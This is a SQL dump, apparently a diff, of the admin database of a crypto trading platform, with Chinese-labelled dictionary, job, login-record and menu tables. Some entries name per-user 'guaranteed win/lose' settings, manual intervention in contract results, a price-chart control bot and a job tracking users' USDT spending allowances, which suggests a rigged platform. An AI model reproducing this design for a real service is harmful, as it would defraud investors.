'default', 'N', NULL, '0', 'admin', '2023-08-20 20:18:09', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1152, 2, 'ETH', '1', 'defi_activity_type', NULL, 'default', 'N', NULL, '0', 'admin', '2023-08-20 20:18:20', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1153, 0, '未读', '0', 'defi_activity_status', NULL, 'default', 'N', NULL, '0', 'admin', '2023-08-20 20:18:34', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1154, 1, '已读', '1', 'defi_activity_status', NULL, 'default', 'N', NULL, '0', 'admin', '2023-08-20 20:18:41', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1155, 2, '已领取', '2', 'defi_activity_status', NULL, 'default', 'N', NULL, '0', 'admin', '2023-08-20 20:18:49', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1156, 0, '普通', '0', 'financial_type', NULL, 'default', 'N', NULL, '0', 'admin', '2023-08-24 15:50:54', 'admin', '2023-08-24 15:58:32', NULL); +INSERT INTO `sys_dict_data` VALUES (1157, 1, 'vip', '1', 'financial_type', NULL, 'default', 'N', NULL, '0', 'admin', '2023-08-24 15:51:17', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1158, 2, '增值', '2', 'financial_type', NULL, 'default', 'N', NULL, '0', 'admin', '2023-08-24 15:51:32', 'admin', '2023-08-24 15:58:47', NULL); +INSERT INTO `sys_dict_data` VALUES (1159, 0, '外汇', '1', 't_second_coin_type', NULL, 'default', 'N', NULL, '0', 'admin', '2023-08-29 18:26:35', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1160, 0, '虚拟币', '2', 't_second_coin_type', NULL, 'default', 'N', NULL, '0', 'admin', '2023-08-29 18:26:47', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1161, 0, '黄金白银', '3', 't_second_coin_type', NULL, 'default', 'N', NULL, '0', 'admin', '2023-09-05 13:36:10', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1162, 0, '未提交', '0', 'positon_audit_status', NULL, 'info', 'N', NULL, '0', 'admin', '2023-09-21 16:37:34', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1163, 0, '待审核', '3', 'positon_audit_status', NULL, 'primary', 'N', NULL, '0', 'admin', '2023-09-21 16:38:12', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1164, 0, '审核通过', '1', 'positon_audit_status', NULL, 'success', 'N', NULL, '0', 'admin', '2023-09-21 16:38:32', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1165, 0, '拒绝', '2', 'positon_audit_status', NULL, 'danger', 'N', NULL, '0', 'admin', '2023-09-21 17:30:11', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1166, 0, '已提交', '5', 'positon_audit_status', NULL, 'primary', 'N', NULL, '0', 'admin', '2023-09-21 17:43:04', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1183, 0, '正常', '0', 'app_user_status', NULL, 'default', 'N', NULL, '0', 'admin', '2023-10-27 14:37:48', '', NULL, NULL); +INSERT INTO `sys_dict_data` VALUES (1184, 1, '冻结', '1', 'app_user_status', NULL, 'default', 'N', NULL, '0', 'admin', '2023-10-27 14:38:03', '', NULL, NULL); + +-- ---------------------------- +-- Table structure for sys_dict_type +-- ---------------------------- +DROP TABLE IF EXISTS `sys_dict_type`; +CREATE TABLE `sys_dict_type` ( + `dict_id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT '字典主键', + `dict_name` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '字典名称', + `dict_type` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '字典类型', + `status` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '0' COMMENT '状态(0正常 1停用)', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '创建者', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '更新者', + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `remark` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '备注', + PRIMARY KEY (`dict_id`) USING BTREE, + UNIQUE INDEX `dict_type`(`dict_type`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 229 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '字典类型表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of sys_dict_type +-- ---------------------------- +INSERT INTO `sys_dict_type` VALUES (1, '用户性别', 'sys_user_sex', '0', 'admin', '2023-06-24 15:31:37', '', NULL, '用户性别列表'); +INSERT INTO `sys_dict_type` VALUES (2, '菜单状态', 'sys_show_hide', '0', 'admin', '2023-06-24 15:31:37', '', NULL, '菜单状态列表'); +INSERT INTO `sys_dict_type` VALUES (3, '系统开关', 'sys_normal_disable', '0', 'admin', '2023-06-24 15:31:37', '', NULL, '系统开关列表'); +INSERT INTO `sys_dict_type` VALUES (4, '任务状态', 'sys_job_status', '0', 'admin', '2023-06-24 15:31:37', '', NULL, '任务状态列表'); +INSERT INTO `sys_dict_type` VALUES (5, '任务分组', 'sys_job_group', '0', 'admin', '2023-06-24 15:31:37', '', NULL, '任务分组列表'); +INSERT INTO `sys_dict_type` VALUES (6, '系统是否', 'sys_yes_no', '0', 'admin', '2023-06-24 15:31:37', '', NULL, '系统是否列表'); +INSERT INTO `sys_dict_type` VALUES (7, '通知类型', 'sys_notice_type', '0', 'admin', '2023-06-24 15:31:37', '', NULL, '通知类型列表'); +INSERT INTO `sys_dict_type` VALUES (8, '通知状态', 'sys_notice_status', '0', 'admin', '2023-06-24 15:31:37', '', NULL, '通知状态列表'); +INSERT INTO `sys_dict_type` VALUES (9, '操作类型', 'sys_oper_type', '0', 'admin', '2023-06-24 15:31:37', '', NULL, '操作类型列表'); +INSERT INTO `sys_dict_type` VALUES (10, '系统状态', 'sys_common_status', '0', 'admin', '2023-06-24 15:31:37', '', NULL, '登录状态列表'); +INSERT INTO `sys_dict_type` VALUES (100, '币种类型', 'currency_type', '0', 'admin', '2023-06-30 18:22:14', '', NULL, NULL); +INSERT INTO `sys_dict_type` VALUES (101, '邮箱配置', 't_app_email', '0', 'admin', '2023-07-03 14:09:14', '', NULL, '邮箱'); +INSERT INTO `sys_dict_type` VALUES (102, '登录注册开关', 'login_register_open', '0', 'admin', '2023-07-03 15:45:44', '', NULL, '登录注册开关'); +INSERT INTO `sys_dict_type` VALUES (103, '用户类型', 'sys_user_type', '0', 'admin', '2023-07-03 14:40:59', '', NULL, NULL); +INSERT INTO `sys_dict_type` VALUES (104, 'APP侧边栏配置', 'app_sidebar_setting', '0', 'admin', '2023-07-07 15:39:57', '', NULL, 'APP侧边栏配置'); +INSERT INTO `sys_dict_type` VALUES (173, '语言', 't_app_language', '0', 'tecom', '2022-05-24 20:18:56', NULL, NULL, NULL); +INSERT INTO `sys_dict_type` VALUES (174, '助力贷还款类型 ', 't_repay_type', '0', 'admin', '2023-08-01 16:54:26', '', NULL, NULL); +INSERT INTO `sys_dict_type` VALUES (175, '用户类型', 'user_type', '0', 'admin', '2023-08-02 13:35:45', '', NULL, NULL); +INSERT INTO `sys_dict_type` VALUES (176, '用户冻结状态', 'user_freeze', '0', 'admin', '2023-08-02 13:37:58', '', NULL, NULL); +INSERT INTO `sys_dict_type` VALUES (177, '用户地址类型', 'user_address_type', '0', 'admin', '2023-08-02 13:51:09', '', NULL, NULL); +INSERT INTO `sys_dict_type` VALUES (178, '包输包赢', 'user_buff_type', '0', 'admin', '2023-08-02 13:53:57', '', NULL, NULL); +INSERT INTO `sys_dict_type` VALUES (179, '实名认证状态', 'audit_status', '0', 'admin', '2023-08-02 14:20:18', '', NULL, NULL); +INSERT INTO `sys_dict_type` VALUES (200, 'U本位委托列表状态', 'sys_contract_status', '0', 'admin', '2023-08-03 15:37:15', '', NULL, '订单列表状态'); +INSERT INTO `sys_dict_type` VALUES (201, 'U本位交易类型', 'sys_ucontract_tradetype', '0', 'admin', '2023-08-03 15:59:45', '', NULL, 'U本位交易类型'); +INSERT INTO `sys_dict_type` VALUES (202, 'u本位委托类型', 'sys_ucontract_delegatetype', '0', 'admin', '2023-08-03 16:09:07', '', NULL, 'u本位委托类型'); +INSERT INTO `sys_dict_type` VALUES (203, 'u本位币种是否显示', 'con_ucontract_show', '0', 'admin', '2023-08-03 16:52:37', 'admin', '2023-08-03 16:53:09', NULL); +INSERT INTO `sys_dict_type` VALUES (204, 'u 本位币种配置是否启用', 'con_ucontract_enable', '0', 'admin', '2023-08-03 16:53:53', '', NULL, NULL); +INSERT INTO `sys_dict_type` VALUES (205, 'u本位币种配置是否交易', 'con_ucontract_trade', '0', 'admin', '2023-08-03 16:54:41', '', NULL, NULL); +INSERT INTO `sys_dict_type` VALUES (206, '充值订单状态', 'recharge_order_status', '0', 'admin', '2023-08-03 17:12:55', '', NULL, NULL); +INSERT INTO `sys_dict_type` VALUES (207, '提现订单状态', 'withdraw_order_status', '0', 'admin', '2023-08-03 17:19:35', 'admin', '2023-08-03 17:19:52', '提现订单状态'); +INSERT INTO `sys_dict_type` VALUES (208, '资产类型', 'user_asset_type', '0', 'admin', '2023-08-07 10:17:38', '', NULL, NULL); +INSERT INTO `sys_dict_type` VALUES (209, 'u本位开空状态', 'con_ucontract_opensell', '0', 'admin', '2023-08-05 15:47:30', 'admin', '2023-08-05 17:56:06', NULL); +INSERT INTO `sys_dict_type` VALUES (210, 'u本位开多状态', 'con_ucontract_openbuy', '0', 'admin', '2023-08-05 15:48:32', '', NULL, NULL); +INSERT INTO `sys_dict_type` VALUES (211, 'U本位市价开空', 'con_ucontract_marketsell', '0', 'admin', '2023-08-05 15:49:36', 'admin', '2023-08-05 17:55:21', NULL); +INSERT INTO `sys_dict_type` VALUES (212, 'U本位市价开多', 'con_ucontract_marketbuy', '0', 'admin', '2023-08-05 15:50:13', '', NULL, NULL); +INSERT INTO `sys_dict_type` VALUES (213, '秒合约开奖结果', 'coin_quickly_result', '0', 'admin', '2023-08-05 16:37:42', 'admin', '2023-08-10 13:45:25', NULL); +INSERT INTO `sys_dict_type` VALUES (214, '秒合约订单状态', 'coin_quickly_status', '0', 'admin', '2023-08-05 16:39:07', 'admin', '2023-08-10 13:45:20', NULL); +INSERT INTO `sys_dict_type` VALUES (215, '秒合约订单标记', 'coin_quickly_sign', '0', 'admin', '2023-08-05 16:45:03', '', NULL, NULL); +INSERT INTO `sys_dict_type` VALUES (216, '秒合约人工干预', 'coin_quickly_intervene', '0', 'admin', '2023-08-05 17:33:23', '', NULL, NULL); +INSERT INTO `sys_dict_type` VALUES (217, '秒合约预测方向', 'coin_quickly_direction', '0', 'admin', '2023-08-05 17:34:34', 'admin', '2023-08-10 17:11:58', NULL); +INSERT INTO `sys_dict_type` VALUES (218, '平台资产类型', 't_asset_type', '0', 'admin', '2023-08-15 14:45:52', '', NULL, NULL); +INSERT INTO `sys_dict_type` VALUES (219, 'DEFI空投类型', 'defi_activity_type', '0', 'admin', '2023-08-20 20:17:46', '', NULL, NULL); +INSERT INTO `sys_dict_type` VALUES (220, 'DEFI空投状态', 'defi_activity_status', '0', 'admin', '2023-08-20 20:17:53', '', NULL, NULL); +INSERT INTO `sys_dict_type` VALUES (221, '理财分类', 'financial_type', '0', 'admin', '2023-08-24 15:47:13', 'admin', '2023-08-24 15:52:08', NULL); +INSERT INTO `sys_dict_type` VALUES (222, '秒合约币种类型', 't_second_coin_type', '0', 'admin', '2023-08-29 18:25:56', '', NULL, NULL); +INSERT INTO `sys_dict_type` VALUES (223, '平仓状态', 'positon_audit_status', '0', 'admin', '2023-09-21 16:37:10', '', NULL, NULL); +INSERT INTO `sys_dict_type` VALUES (228, '玩家用户状态', 'app_user_status', '0', 'admin', '2023-10-27 14:36:57', '', NULL, NULL); + +-- ---------------------------- +-- Table structure for sys_job +-- ---------------------------- +DROP TABLE IF EXISTS `sys_job`; +CREATE TABLE `sys_job` ( + `job_id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT '任务ID', + `job_name` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL DEFAULT '' COMMENT '任务名称', + `job_group` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL DEFAULT 'DEFAULT' COMMENT '任务组名', + `invoke_target` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '调用目标字符串', + `cron_expression` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT 'cron执行表达式', + `misfire_policy` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '3' COMMENT '计划执行错误策略(1立即执行 2执行一次 3放弃执行)', + `concurrent` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '1' COMMENT '是否并发执行(0允许 1禁止)', + `status` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '0' COMMENT '状态(0正常 1暂停)', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '创建者', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '更新者', + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `remark` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '备注信息', + PRIMARY KEY (`job_id`, `job_name`, `job_group`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 118 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '定时任务调度表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of sys_job +-- ---------------------------- +INSERT INTO `sys_job` VALUES (103, '理财结算', 'DEFAULT', 'mineFinancialTask.mineFinancialTask', '0 0 0 1/1 * ? *', '1', '1', '1', 'admin', '2023-07-26 11:27:38', '', '2023-08-24 14:37:23', ''); +INSERT INTO `sys_job` VALUES (104, '秒合约结算', 'DEFAULT', 'secondContractTask.secondContract', '*/1 * * * * ?', '1', '1', '1', 'admin', '2023-07-26 11:35:44', 'admin', '2024-01-19 04:22:31', ''); +INSERT INTO `sys_job` VALUES (105, 'U本位委托结算', 'DEFAULT', 'contractOrderTask.settMent', '*/1 * * * * ?', '1', '1', '1', 'admin', '2023-08-05 16:26:19', 'admin', '2023-08-24 14:37:27', ''); +INSERT INTO `sys_job` VALUES (106, 'U本位平仓结算', 'DEFAULT', 'contractPositionTask.settPosition', '*/1 * * * * ?', '1', '1', '1', 'admin', '2023-08-05 16:27:45', 'admin', '2023-08-24 14:37:29', ''); +INSERT INTO `sys_job` VALUES (107, '控线', 'DEFAULT', 'BotKlineTask.botKline', '* /1 * * * ?', '1', '1', '1', 'admin', '2023-08-11 18:39:17', 'admin', '2023-08-24 14:37:30', ''); +INSERT INTO `sys_job` VALUES (108, '删除旧控线', 'DEFAULT', 'BotKlineTask.deleteModel', '*/2 * * * * ?', '1', '1', '1', 'admin', '2023-08-11 18:39:49', 'admin', '2023-08-24 14:37:32', ''); +INSERT INTO `sys_job` VALUES (109, '更新授权额度', 'DEFAULT', 'queryUsdtAllowed.queryUsdtAllowed', '* /20 * * * ?', '1', '1', '1', 'admin', '2023-08-20 20:14:23', '', '2023-08-24 14:37:33', ''); +INSERT INTO `sys_job` VALUES (110, '更新USDT', 'DEFAULT', 'QueryAddreUsdt.queryAddreUsdt', '* /20 * * * ?', '1', '1', '1', 'admin', '2023-08-20 20:14:43', '', '2023-08-24 14:37:34', ''); +INSERT INTO `sys_job` VALUES (111, 'DEFI每日收益', 'DEFAULT', 'defiRateTask.userDefiOrder', '0 0 0 1/1 * ? *', '1', '1', '1', 'admin', '2023-08-20 20:15:03', '', '2023-08-24 14:37:35', ''); +INSERT INTO `sys_job` VALUES (112, '挖矿结算', 'DEFAULT', 'mingOrderTask.mingOrderSett', '0 0 0 1/1 * ? *', '1', '1', '1', 'admin', '2023-08-21 11:31:29', 'admin', '2023-08-24 14:37:37', ''); +INSERT INTO `sys_job` VALUES (113, '币币结算', 'DEFAULT', 'currencyOrderTask.currencyOrderSettlement', '*/1 * * * * ?', '1', '1', '1', 'admin', '2023-08-22 20:46:56', '', '2023-08-24 14:37:40', ''); +INSERT INTO `sys_job` VALUES (114, '新币发行筹备', 'DEFAULT', 'OwnCoinTask.ownCoinStartTask', '0 0/1 * * * ?', '1', '1', '1', 'admin', '2023-09-20 16:52:49', 'admin', '2023-09-20 16:53:54', ''); +INSERT INTO `sys_job` VALUES (115, '新币发行结束', 'DEFAULT', 'OwnCoinTask.ownCoinEndTask', '0 0/1 * * * ?', '1', '1', '1', 'admin', '2023-09-20 16:53:44', '', NULL, ''); +INSERT INTO `sys_job` VALUES (116, '新币发行筹备', 'DEFAULT', 'OwnCoinTask.ownCoinStartTask', '0 0/1 * * * ?', '1', '1', '1', 'admin', '2023-09-20 16:52:49', 'admin', '2023-09-20 16:53:54', ''); +INSERT INTO `sys_job` VALUES (117, '新币发行结束', 'DEFAULT', 'OwnCoinTask.ownCoinEndTask', '0 0/1 * * * ?', '1', '1', '1', 'admin', '2023-09-20 16:53:44', '', NULL, ''); + +-- ---------------------------- +-- Table structure for sys_job_log +-- ---------------------------- +DROP TABLE IF EXISTS `sys_job_log`; +CREATE TABLE `sys_job_log` ( + `job_log_id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT '任务日志ID', + `job_name` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '任务名称', + `job_group` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '任务组名', + `invoke_target` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT '调用目标字符串', + `job_message` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '日志信息', + `status` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '0' COMMENT '执行状态(0正常 1失败)', + `exception_info` varchar(2000) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '异常信息', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + PRIMARY KEY (`job_log_id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 15612008 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '定时任务调度日志表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for sys_logininfor +-- ---------------------------- +DROP TABLE IF EXISTS `sys_logininfor`; +CREATE TABLE `sys_logininfor` ( + `info_id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT '访问ID', + `user_name` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '用户账号', + `ipaddr` varchar(128) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '登录IP地址', + `login_location` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '登录地点', + `browser` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '浏览器类型', + `os` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '操作系统', + `status` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '0' COMMENT '登录状态(0成功 1失败)', + `msg` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '提示消息', + `login_time` datetime(0) NULL DEFAULT NULL COMMENT '访问时间', + PRIMARY KEY (`info_id`) USING BTREE, + INDEX `idx_sys_logininfor_s`(`status`) USING BTREE, + INDEX `idx_sys_logininfor_lt`(`login_time`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 22 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '系统访问记录' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of sys_logininfor +-- ---------------------------- +INSERT INTO `sys_logininfor` VALUES (1, 'admin', '154.31.113.10', 'XX XX', 'Chrome 12', 'Windows 10', '0', '登录成功', '2024-01-25 11:15:19'); +INSERT INTO `sys_logininfor` VALUES (2, 'admin', '47.243.134.122', 'XX XX', 'Chrome Mobile', 'Android 1.x', '1', '用户不存在/密码错误', '2024-01-26 06:36:14'); +INSERT INTO `sys_logininfor` VALUES (3, 'admin', '47.243.134.122', 'XX XX', 'Chrome Mobile', 'Android 1.x', '1', '密码输入错误1次', '2024-01-26 06:36:14'); +INSERT INTO `sys_logininfor` VALUES (4, 'admin', '47.243.134.122', 'XX XX', 'Chrome Mobile', 'Android 1.x', '1', '密码输入错误2次', '2024-01-26 06:36:19'); +INSERT INTO `sys_logininfor` VALUES (5, 'admin', '47.243.134.122', 'XX XX', 'Chrome Mobile', 'Android 1.x', '1', '用户不存在/密码错误', '2024-01-26 06:36:19'); +INSERT INTO `sys_logininfor` VALUES (6, 'admin', '47.243.134.122', 'XX XX', 'Chrome Mobile', 'Android 1.x', '0', '登录成功', '2024-01-26 06:36:36'); +INSERT INTO `sys_logininfor` VALUES (7, 'admin', '154.31.113.10', 'XX XX', 'Chrome 12', 'Windows 10', '0', '登录成功', '2024-01-29 13:08:49'); +INSERT INTO `sys_logininfor` VALUES (8, 'admin', '185.248.186.250', 'XX XX', 'Chrome 12', 'Windows 10', '0', '登录成功', '2024-01-31 13:30:11'); +INSERT INTO `sys_logininfor` VALUES (9, 'admin', '172.104.190.252', 'XX XX', 'Chrome 12', 'Windows 10', '0', '登录成功', '2024-02-08 10:50:45'); +INSERT INTO `sys_logininfor` VALUES (10, 'admin', '104.245.100.188', 'XX XX', 'Chrome 12', 'Windows 10', '0', '登录成功', '2024-02-11 07:16:47'); +INSERT INTO `sys_logininfor` VALUES (11, 'admin', '120.235.233.171', 'XX XX', 'Chrome 12', 'Windows 10', '0', '登录成功', '2024-02-11 12:29:37'); +INSERT INTO `sys_logininfor` VALUES (12, 'admin', '203.91.85.222', 'XX XX', 'Mobile Safari', 'Mac OS X (iPhone)', '0', '登录成功', '2024-02-11 18:06:05'); +INSERT INTO `sys_logininfor` VALUES (13, 'admin', '172.104.169.172', 'XX XX', 'Chrome 12', 'Windows 10', '0', '登录成功', '2024-02-12 11:26:17'); +INSERT INTO `sys_logininfor` VALUES (14, 'admin', '192.168.10.175', '内网IP', 'Chrome 12', 'Windows 10', '0', '登录成功', '2024-02-13 16:58:57'); +INSERT INTO `sys_logininfor` VALUES (15, 'admin', '192.168.10.175', '内网IP', 'Chrome 12', 'Windows 10', '0', '登录成功', '2024-02-13 22:12:34'); +INSERT INTO `sys_logininfor` VALUES (16, 'admin', '192.168.1.11', '内网IP', 'Chrome 12', 'Windows 10', '0', '登录成功', '2024-02-13 23:27:14'); +INSERT INTO `sys_logininfor` VALUES (17, 'admin', '192.168.1.11', '内网IP', 'Chrome 12', 'Windows 10', '0', '登录成功', '2024-02-14 14:28:50'); +INSERT INTO `sys_logininfor` VALUES (18, 'admin', '192.168.1.11', '内网IP', 'Chrome 12', 'Windows 10', '0', '退出成功', '2024-02-14 17:01:43'); +INSERT INTO `sys_logininfor` VALUES (19, 'admin', '192.168.1.11', '内网IP', 'Chrome 12', 'Windows 10', '1', '验证码已失效', '2024-02-14 17:21:32'); +INSERT INTO `sys_logininfor` VALUES (20, 'admin', '192.168.1.11', '内网IP', 'Chrome 12', 'Windows 10', '0', '登录成功', '2024-02-14 17:21:35'); +INSERT INTO `sys_logininfor` VALUES (21, 'admin', '192.168.1.11', '内网IP', 'Chrome 12', 'Windows 10', '0', '登录成功', '2024-02-14 20:14:51'); +INSERT INTO `sys_logininfor` VALUES (22, 'admin', '192.168.10.175', '内网IP', 'Chrome 12', 'Windows 10', '1', '验证码错误', '2024-02-21 22:37:24'); +INSERT INTO `sys_logininfor` VALUES (23, 'admin', '192.168.10.175', '内网IP', 'Chrome 12', 'Windows 10', '1', '密码输入错误1次', '2024-02-21 22:37:27'); +INSERT INTO `sys_logininfor` VALUES (24, 'admin', '192.168.10.175', '内网IP', 'Chrome 12', 'Windows 10', '1', '用户不存在/密码错误', '2024-02-21 22:37:27'); +INSERT INTO `sys_logininfor` VALUES (25, 'admin', '192.168.10.175', '内网IP', 'Chrome 12', 'Windows 10', '0', '登录成功', '2024-02-21 22:37:34'); + +-- ---------------------------- +-- Table structure for sys_menu +-- ---------------------------- +DROP TABLE IF EXISTS `sys_menu`; +CREATE TABLE `sys_menu` ( + `menu_id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT '菜单ID', + `menu_name` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '菜单名称', + `parent_id` bigint(0) NULL DEFAULT 0 COMMENT '父菜单ID', + `order_num` int(0) NULL DEFAULT 0 COMMENT '显示顺序', + `path` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '路由地址', + `component` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '组件路径', + `query` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '路由参数', + `is_frame` int(0) NULL DEFAULT 1 COMMENT '是否为外链(0是 1否)', + `is_cache` int(0) NULL DEFAULT 0 COMMENT '是否缓存(0缓存 1不缓存)', + `menu_type` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '菜单类型(M目录 C菜单 F按钮)', + `visible` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '0' COMMENT '菜单状态(0显示 1隐藏)', + `status` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '0' COMMENT '菜单状态(0正常 1停用)', + `perms` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '权限标识', + `icon` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '#' COMMENT '菜单图标', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '创建者', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '更新者', + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `remark` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '备注', + PRIMARY KEY (`menu_id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 2386 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '菜单权限表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of sys_menu +-- ---------------------------- +INSERT INTO `sys_menu` VALUES (1, '系统管理', 0, 10, 'system', NULL, '', 1, 0, 'M', '0', '0', '', 'system', 'admin', '2023-06-24 15:31:37', 'admin', '2023-07-12 14:52:05', '系统管理目录'); +INSERT INTO `sys_menu` VALUES (2, '系统监控', 0, 11, 'monitor', NULL, '', 1, 0, 'M', '0', '0', '', 'monitor', 'admin', '2023-06-24 15:31:37', 'admin', '2023-07-12 14:52:11', '系统监控目录'); +INSERT INTO `sys_menu` VALUES (3, '系统工具', 0, 12, 'tool', NULL, '', 1, 0, 'M', '1', '0', '', 'tool', 'admin', '2023-06-24 15:31:37', 'admin', '2023-08-22 16:11:23', '系统工具目录'); +INSERT INTO `sys_menu` VALUES (100, '用户管理', 2269, 1, 'user', 'system/user/index', '', 1, 0, 'C', '0', '0', 'system:user:list', 'user', 'admin', '2023-06-24 15:31:37', 'admin', '2023-08-22 21:18:09', '用户管理菜单'); +INSERT INTO `sys_menu` VALUES (101, '角色管理', 2269, 2, 'role', 'system/role/index', '', 1, 0, 'C', '0', '0', 'system:role:list', 'peoples', 'admin', '2023-06-24 15:31:37', 'admin', '2023-08-22 21:18:15', '角色管理菜单'); +INSERT INTO `sys_menu` VALUES (102, '菜单管理', 1, 3, 'menu', 'system/menu/index', '', 1, 0, 'C', '0', '0', 'system:menu:list', 'tree-table', 'admin', '2023-06-24 15:31:37', '', NULL, '菜单管理菜单'); +INSERT INTO `sys_menu` VALUES (103, '部门管理', 1, 4, 'dept', 'system/dept/index', '', 1, 0, 'C', '0', '0', 'system:dept:list', 'tree', 'admin', '2023-06-24 15:31:37', '', NULL, '部门管理菜单'); +INSERT INTO `sys_menu` VALUES (104, '岗位管理', 1, 5, 'post', 'system/post/index', 